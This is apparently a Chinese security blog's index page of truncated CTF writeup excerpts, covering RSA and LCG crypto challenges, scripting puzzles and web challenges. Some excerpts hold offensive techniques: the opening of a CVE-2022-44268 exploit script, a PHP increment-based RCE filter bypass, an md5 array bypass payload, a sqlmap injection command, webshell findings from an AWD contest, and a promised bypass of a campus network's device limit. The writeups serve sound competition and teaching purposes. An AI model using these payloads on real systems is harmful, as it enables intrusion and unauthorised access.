[WP]MoeCTF 2023 writeup
b58f97dd19d7688fb3b7739465734ef8f7bf1f7785a4de40f7d6f40df4006b8737c04b7239db21877fd276a3567324e378825a9255f12bda9b6a67351315f5544c81e963b601630bf9258249b02e7abc727d99838e8d030ae17ebcece666110bf6ff1e79b195e302a985b2c981e1d4b26f8454a17a32f386f446acc92dc29ba7cc483da20a5077a6928cd81349efcf6d34cbcd31e216cb90e42647affa7c86f2580b0d83876bda7bc9043ad7b6714e90e84b3c70833291cee1ba05a5452e51f82027244019bbe7679d58322f4234186374b46e72a23ff810441faa2370d478b332c48ba1d5d5063b2a96da8a876f5c274a01e725d467c0bd300a3abc784b861820cd2cd292ea9b28216302595ba5b2ddab80c9367b63613c82de7f8026a896d0dfb99da510888bf97635a ...
[交互]Crypto-subset writeup.md
0x01 题目描述
📎subset.py:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455#!/usr/bin/env python3from random import randintimport sysimport osflag = str(os.getenv('FLAG')).encode()def die(*args): print_something(*args) quit()def print_something(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush()def scan(): return sys.stdin.buffer.readline()def subset_process(n, l, K, A): A, K = set(A), set(K) return [pow(_, 2, n) + randint(0, 1) for _ in A - K]def main(): bor ...
Python实现校园网宽带Web自动认证
0x01 前言 我们学校的宽带在运营商办理之后和教务处账号进行绑定,每次上网插上网线之后需要进入一个认证页面进行登入认证,并且选择对应的运营商。
本来这样挺好的,认证一下嘛也不麻烦。
麻烦的是每次认证是有时效性的,认证之后2880分钟之后自动断网,但是认证并不会消失,需要学生手动点击注销按钮,再重新输入学号和密码进行认证,也就是说每过2天(2880min)就准时断网并且需要重新进行上网认证。
现在场景换到你正在和朋友激情打枪,认证的2880分钟到了,突然断网,接下来你要做的是:
切出浏览器
进入172.16.2.100认证页面
点击注销
输入学号和密码
选择运营商
认证成功
运营商吃相难看,为了防止一个宿舍只办一条宽带,每个校园网账号只能两台设备上网,本文将提供绕过方法达到不限制设备数量联网
现在都3202年了,还在用传统的上网认证吗?
接下来我将使用Python进行定时自动认证宽带上网,解决手动认证的烦恼。
0x02 网络拓扑 鄙人宿舍的网络拓扑结构如下:
0x03 绕过设备数量限制 一般情况下,当电脑连接校园网宽带认证之后,打开热点让其他设备连接热点,一旦数量超过两个就会自动断网,有时候甚至会被禁用宽带30分钟(十分的恶心)。
细心的同学可能会发现,为什么我开虚拟机不会被识别多个设备联网呢?( ...
[2023安洵杯]misc-sudoku数独游戏
0x01 题目题目大意:规定时间内通过解决数个数独问题来获得flag。
一共需要120分。
0x02 解题思路先分析交互命令行的输入输出:
首先输入1开始游戏,题目给出三种难度,难度越高分值越大。
输入3/4/5选择游戏难度,然后题目给出数独题目内容,其中数字0表示需要填入的内容。
数独游戏规则:
每一行、每一列、每一个粗线宫内的数字不重复,其中粗线宫的划分如下所示:
将解出的答案以题目要求的格式输入即可,得到120分时可以获得flag(实际上是得到shell)。
首先上网搜一段解决数独的代码:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990from pprint import pprintdef find_next_empty(puzzle): # finds the next row, col on the puzzle that's not filled yet --> rep with 0 # return row, col ...
[2023饶派杯车联网CTF]对访客开放的车载系统
0x01 题目:对访客开放的车载系统,进入环境:http://172.35.8.73/
0x02 题解:在登入页面使用字典跑一遍,发现Guest/Guest可以登入:
进入后页面:
根据hint,涉及到的漏洞CVE-2022-44268
利用代码如下:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879#!/usr/bin/env python3import sysimport pngimport zlibimport argparseimport binasciiimport logginglogging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')d = zlib.decompressobj()e = zlib.compressobj()IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x0 ...
[青少年CTF]crypto-easyrsa2
0x01 题目
附件📎:attachment.rar
-> rsa.py:
12345678910111213141516171819from Crypto.Util.number import *import libnumimport osflag=b"qsnctf{xxx}"p = getPrime(1024)q = getPrime(1024)n = p*qg = n+1m = bytes_to_long(flag+os.urandom(80))assert m < nc=(pow(g,p,n*n)*pow(m,n,n*n))%(n*n)print("c="+str(c))print("n="+str(n))print("hint="+str(pow(m,n,n*n)))'''c=666786768078199992330557522330126452165563612635505106414581387602429905448771533013703745787047779312324763383054672179874045303477356957795031780364211822257973421396674140338195 ...
PHP中的自增RCE绕过
0x01 攻击原理当出现类似以下代码:
1!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)
常见的绕过如取反~,异或^等都被过滤,但是[ ]+$等没过滤完全,就可以考虑通过自增的方法进行RCE绕过。
php是弱语言,单字符型变量自增能得到下一个字符,且单个或多个下划线_也可以作为变量名,例如:
12345<?php$_='A';$_++; // 此时$_为Bvar_dump($_);//输出 string(1) "B"
还能用不可见字符替换php变量名称$%ff(url编码),这样就更短了。
而数组转字符串后是天然的字符串 Array,我们切片取A,通过自增便可得到任意一个大写字母。还有1/_==INF,下划线也可快速构造NAN,如
123<?php$a=_/_._; // NAN_var_dump($a[0]); //string(1) "N"
这样就很快得到了字母“N”,而”POST”中的“O”和“N”很近,所以很快就可以通过自增得到“POST”。
由于0也是不能出现的,可以用下划线_代替,如:
1234567<?phper ...
[密码学]RSA中的dp和dq
0x01 原理分析在RSA密钥对生成中,dp和dq是两个与私钥相关的参数。
dp是$d \bmod (p-1)$的值,dq是$d \bmod (q-1)$的值。这些值用于进行私钥操作,如解密和签名。
即:$$\begin{cases}dp\equiv d \pmod {(p-1)}\\dq\equiv d \pmod {(q-1)}\end{cases}$$
在网络安全的Crypto题目中,关于dp和dq一般有如下几种情况:
已知$n、e、dp、c$,求m;
1.1 已知 $p、e、dp、c、b$,其中$n=p^bq$,求m;
1.2 已知 $n、e、dp_0、c、k$,其中$dp_0$为$dp$的高$(n\text{bits}-k)$位,即$dp_0=dp>>k$,求m;
1.3 已知 $n、e、dp、c$,其中$dp$很小,e很大,求m;
1.4 已知 $n、e、c$,其中$dp$过小,求m;
已知$p、q、dp、dq、c$,求m。
0x0101 已知n、e、dp、c,求m此类题目一般来说给的n比较大,需要通过dp来分解n。
显然我们有以下两个公式:$$\begin{align*}dp &\equiv d \pmod {(p-1)}\\d \times e &\equiv 1 \pmod {\phi(n)}\e ...
RSA中的共模攻击和例题讲解
0x01 利用条件 两个用户使用相同的模数 n、不同的私钥(加密指数e不相同)时,加密同一明文m消息,即(n,m)相同,(c,e)不同。且两个加密指数$e_1$和$e_2$满足$gcd(e_1, e_2) = 1$,即$e_1$和$e_2$互为素数。
0x02 攻击原理已知$e_1$,$e_2$,且$gcd(e_1, e_2) = 1$, 由扩展欧几里得算法得,存在一组整数$s_1$, $s_2$,使得:公式(1)$$e_1 \times s_1 + e_2 \times s_2 = gcd(e_1, e_2) = 1$$又由RSA算法原理可得:公式(2)$$\begin{cases}c_1 \equiv m^{e_1}\ (\bmod n)\\c_2 \equiv m^{e_2}\ (\bmod n)\end{cases}$$
求m的方法一:由以上(1)(2)可得:$$\begin{align*}m &\equiv m^1\ (\bmod n)\\&\equiv m^{e_1 \times s_1 + e_2 \times s_2}\ (\bmod n)\\&\equiv m^{e_1 \times s_1} \times m^{e_2 \times s_2}\ (\bmod n)\\&\equiv ...
[青少年CTF]Web-CheckMe05-08 writeup
0x01 CheckMe05题目源码:
1234567<?php $a=$_GET["a"]; $b=$_GET["b"]; if($a!==$b && md5($a)===md5($b)){ echo($flag); } ?>
强类型比较,当给md5()提供的变量为数组时,返回null,则有null === null,这样可以绕过强类型比较
所以最终payload:
1GET /?a[]=1&b[]=2
0x01 CheckMe06下载题目给的附件📎:list.txt
进入环境使用Burpsuite或者yakit抓包,用户名为admin
爆破密码:
在返回包中得到flag
0x01 CheckMe07进入环境,还是登入页面。
对username和passwordfuzz一下直接出flag:
0x01 CheckMe08
这题演示一下使用sqlmap的基本步骤
还是那个登入页面,使用burpsuite抓包,右键抓的数据包选择copy to file
然后使用sqlmap,测试出这是时间盲注:
1❯ sqlmap -r "/Users/q1jun/Downloads/post.txt" --db ...
[华东交大第二届信息安全竞赛]Crypto-top_secret
0x01 题目:Top_secret
附件📎:
task.py
123456789101112131415161718192021222324252627282930#python3from random import *from gmpy2 import *from secret import flagfrom Crypto.Util.number import *e = 0x10001common_p = next_prime(getrandbits(64))common_q = next_prime(getrandbits(64))common_n = common_p*common_qcommon = '(%d,%d)' % (common_n, e)f = open('test', 'w')f.write(common+'\n')test = [getrandbits(64) for i in range(512)]for i in test: f.write(str(pow(i, e, common_n))+'\n')top_p = next_prime(getrandbits(1024))top_q = next_prime(getrandbits(1024) ...
[Geek Challenge 2022]Web
本篇文章通篇使用Yakit代替Burpsuite进行解题,带大家体验一下yakit的能力。
官网:Yakit: 集成化单兵安全能力平台 | Yak Official Website (yaklang.io)
YAK语言简介
YAK是国际上首个致力于网络安全底层能力融合的垂直开发语言,提供了非常强大的安全能力。Yak是绝大部分 “数据描述语言 / 容器语言” 的超集,具备Go所有能力与库生态,VSCode插件等,语法可自定义,是图灵完备的脚本语言,完全国产。通过函数提供各类底层安全能力,包括端口扫描、指纹识别、poc框架、shell管理、MITM劫持、强大的插件系统等。
YAKIT单兵工具简介
Yakit是基于yak语言开发的网络安全单兵工具,旨在打造一个覆盖渗透测试全流程的网络安全工具库。通过界面化GUI的形式,降低大家使用Yak的门槛。
0x01 题目:登入试试123456789GeekChallengeUser ~ % ./登录试试=== challenge info ===type: webpoints: 50description: http://121.5.62.30:38001/EasyTime/hint: Syclover用户忘了他的密码,咋办哦,依稀记得密码为6位数字,以774开头,这次我们来爆爆他的密码,让他再也不犯相同的错了=== chal ...
[ISCTF 2022]全部RSA
0x01 题目:babyrsa
附件📎:
12345678910111213141516from Crypto.Util.number import *from flag import flagimport gmpy2import libnumm = bytes_to_long(flag)p = libnum.generate_prime(1024)q = gmpy2.next_prime(p)e = 0x10001n = p * qphi=(p-1)*(q-1)c=pow(m,e,n)print("phi =",phi)print("c =",c)# phi = 11998145197184838105291668748328177280207361667546370722759758550200386112478801305683579153942751165452647656673385449297455560085865712968985383490367475984832103238596934094135353170257339614559178443729484992289380330326343473326373076256926770972074683466001586625109364413771716300886242 ...
记一次ISCTF新生赛的AWD
最终得分111913,因为不太会pwn,所以只能靠web得分了呜呜
0x01 拿到自己的Box拿到自己的box之后,第一时间把源码下载下来:
站点为:OPENSNS V6.2
审计一下代码
因为出门只有mac没有win不能直接用D盾扫,只好手动审计一下了
在 .config.php上发现了一个不死马,最后知道这是三哈传的
还有一个一句话木马:
这个一句话木马直接删除就好。
不死马的话直接修改.htaccess文件,添加一行:
12345678<IfModule mod_rewrite.c> Options +FollowSymlinks RewriteEngine On ······ #修复不死马 RewriteRule (.*).config.php$ - [F] ······
再次访问,就可以看到 这个不死马已经是403了。
0x02 RCE修复CNVD-2021-34590,参考文章:Opensns 命令执行漏洞(CNVD-2021-34590)
漏洞代码位于 /app/Application/Weibo/Model/ShareModel.class.php
(比赛懒得修,直接修改文件后缀就好了
1mv /app/Applicati ...
[UUCTF 2022]ez_user
0x01 题目
0x02 解题进入环境,获得源码:
123456789101112131415161718192021222324252627<?phpshow_source(__FILE__);###very___so___easy!!!!class test{ public $a; public $b; public $c; public function __construct(){ $this->a=1; $this->b=2; $this->c=3; } public function __wakeup(){ $this->a=''; } public function __destruct(){ $this->b=$this->c; eval($this->a); }}$a=$_GET['a'];if(!preg_match('/test":3/i',$a)){ die("你输入的不正确!!!搞什么!!" ...
[XSCTF]crypto-baigeiRSA2
0x01 题目12345678910111213141516171819import libnumfrom Crypto.Util import numberfrom functools import reducefrom secret import flagn = 5size = 64while True: ps = [number.getPrime(size) for _ in range(n)] if len(set(ps)) == n: breake = 65537n = reduce(lambda x, y: x*y, ps)m = libnum.s2n(flag)c = pow(m, e, n)print('n = %d' % n)print('c = %d' % c)
12n = 175797137276517400024170861198192089021253920489351812147043687817076482376379806063372376015921c = 144009221781172353636339988896910912047726260759108847257566019412382083853598735817869933202168
0x02 解题
从题目 ...
[XSCTF]crypto-一元二次方程组
0x01 题目123456789101112131415161718import libnumfrom Crypto.Util import numberfrom secret import flagsize = 256e = 65537p = number.getPrime(size)q = number.getPrime(size)avg = (p+q)/2n = p*qm = libnum.s2n(flag)c = pow(m, e, n)print('n = %d' % n)print('avg = %d' % avg)print('c = %d' % c)
123n = 5700102857084805454304483466349768960970728516788155745115335016563400814300152521175777999545445613444815936222559357974566843756936687078467221979584601avg = 75635892913589759545076958131039534718834447688923830032758709253942408722875c = 8886296270896509931730735301125037 ...
[BUUctf]crypto-LCG Revenge
0x01 题目
附件📎:LCG-Revenge.zip
0x02 解题附件中有两个文件:
task.py 加密脚本
output.txt 输出数据
12345678910111213141516171819from Crypto.Util.number import *from secret import FLAGp = getPrime(128)step = len(FLAG) // 3xs = [bytes_to_long(FLAG[:step]), bytes_to_long(FLAG[step:2*step]), bytes_to_long(FLAG[2*step:])]a = getPrime(64)b = getPrime(64)c = getPrime(64)a = 18038175596386287827b = 15503291946093443851c = 17270168560153510007p = 307956849617421078439840909609638388517for _ in range(10): new_state = (a*xs[0] + b*xs[1] + c*xs[2]) % p xs = xs[1:] + [new_state] #print(xs)print(xs)print(a, b, c, p)
1 ...
[青少年CTF]crypto-继续扫吧要有耐心
0x01 题目
附件📎:attachment.rar
0x02 解题下载下来附件,解压之后发现是几千张二维码:
手动一个一个扫肯定是不可能的了,用python里面的pyzbar包进行自动扫码。
123import osimport cv2 as cvfrom pyzbar.pyzbar import decode
这里遇到了一个坑,os.listdir读取的文件夹里面的图片是乱序的,最后得出来的编码也是乱序,导致在这里卡了一会儿。
需要进行排序:
1list1 = sorted(os.listdir(image_path),key = lambda x:int(x[:-4]))
然后发现输出的是一串串base64编码,直接把所有base64丢到base64解码器里面是解不出来的,因为里面穿插了一些摩斯密码。
摩斯密码解密出来的字符都是无用的,所以这些摩斯密码都是干扰你的,需要去除:
12#去除摩斯密码qrInfo = qrInfo.replace('.','').replace('-','').replace('/','')
然后以=为分界线进行一行一行输出
处理过后的base64编码一共有30行
解码base64之后发现还有一层base64,所以这 ...
[青少年CTF]misc-Simpleness
0x01 题目
附件:simpleness .zip
0x02 解题这题包含的知识点比较多,写wp真是累死我了,看过的师傅在下面留下点评论呗🥹
0x0201 弱口令爆破解压了simpleness.zip,发现一共有三个文件:
flag.zip
hint.zip
key.zip
放到kali里面使用john进行爆破:
hint.zip的解压密码为: 123456
其他两个包跑了一好一会儿没跑出来,那就先分析hint.zip里面的文件。
0x0202 RAR伪加密hint.zip里面解出两个文件:
hint.png
hint.rar
这个hint.rar是伪加密,随便打开一个十六进制的编辑器:
找到第24个字节,这里的0x24表示已加密,改成0x20表示未加密,改完:
保存之后,成功解压hint.rar,得到一个hint.txt:
这里得到
提示1:key.zip的密码范围是qsnctf大小写,且此密码可多次使用
提示2:要用到SilentEye0.3.1这个工具(之前做的时候没有这个提示,卡了好久
0x0203 图片隐写再看第二个文件:hint.png
是一张平平无奇的png图片,但是丢到foremost看一下发现里面藏了个zip
12345678910111213141516171819202122232425Foremost version 1.5.7 ...